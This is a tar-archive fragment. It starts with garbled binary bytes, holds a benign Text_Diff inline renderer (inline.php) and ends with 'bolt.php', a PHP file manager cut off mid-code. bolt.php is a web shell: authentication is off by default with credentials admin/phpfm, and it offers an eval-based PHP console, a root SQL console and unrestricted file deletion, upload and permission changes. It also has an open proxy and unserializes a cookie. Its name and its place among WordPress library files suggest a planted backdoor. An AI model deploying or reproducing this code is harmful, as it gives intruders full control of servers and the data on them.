VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
